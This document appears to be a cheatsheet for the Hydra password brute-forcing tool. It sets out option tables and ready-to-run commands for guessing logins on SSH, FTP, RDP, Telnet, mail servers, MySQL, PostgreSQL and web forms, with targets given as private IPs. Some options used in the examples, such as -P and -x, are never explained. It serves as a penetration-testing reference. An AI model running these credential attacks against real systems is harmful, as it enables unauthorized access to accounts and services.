Hydra Cheatsheet

Basic Syntax

hydra [login_options] [password_options] [attack_options] [service_options] service://server

Option	Description	Example
`-l LOGIN`	Single username	`hydra -l admin ...`
`-L FILE`	Username list file	`hydra -L usernames.txt ...`

Option	Description	Example
`-t TASKS`	Number of parallel tasks (threads)	`hydra -t 4 ...`
`-f`	Stop after first successful login	`hydra -f ...`
`-s PORT`	Specify non-default port	`hydra -s 2222 ...`
`-v`	Verbose output	`hydra -v ...`
`-V`	Very verbose output	`hydra -V ...`

Service	Protocol	Description	Example
`ftp`	FTP	File Transfer Protocol	`hydra -l admin -P passwords.txt ftp://192.168.1.100`
`ssh`	SSH	Secure Shell	`hydra -l root -P passwords.txt ssh://192.168.1.100`
`http-get`	HTTP GET	Web login (GET)	`hydra -l admin -P passwords.txt http-get://example.com/login`
`http-post`	HTTP POST	Web login (POST)	`hydra -l admin -P passwords.txt http-post-form "/login.php:user=^USER^&pass=^PASS^:F=incorrect"`
`smtp`	SMTP	Email sending	`hydra -l admin -P passwords.txt smtp://mail.server.com`
`pop3`	POP3	Email retrieval	`hydra -l user@example.com -P passwords.txt pop3://mail.server.com`
`imap`	IMAP	Remote email access	`hydra -l user@example.com -P passwords.txt imap://mail.server.com`
`rdp`	RDP	Remote Desktop Protocol	`hydra -l administrator -P passwords.txt rdp://192.168.1.100`
`telnet`	Telnet	Remote terminal	`hydra -l admin -P passwords.txt telnet://192.168.1.100`
`mysql`	MySQL	Database	`hydra -l root -P passwords.txt mysql://192.168.1.100`
`postgres`	PostgreSQL	Database	`hydra -l postgres -P passwords.txt postgres://192.168.1.100`

hydra -l root -P /path/to/passwords.txt -t 4 ssh://192.168.1.100

hydra -L usernames.txt -P passwords.txt ftp://192.168.1.100

hydra -l admin -P passwords.txt http-post-form "/login.php:user=^USER^&pass=^PASS^:F=incorrect" 192.168.1.100

hydra -l administrator -x 6:8:aA1 rdp://192.168.1.100

hydra -l admin -P passwords.txt -s 2222 ssh://192.168.1.100

hydra -l admin -P passwords.txt -f ssh://192.168.1.100

hydra -l admin -P passwords.txt -v ssh://192.168.1.100

hydra -l administrator -x 6:8:abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 rdp://192.168.1.100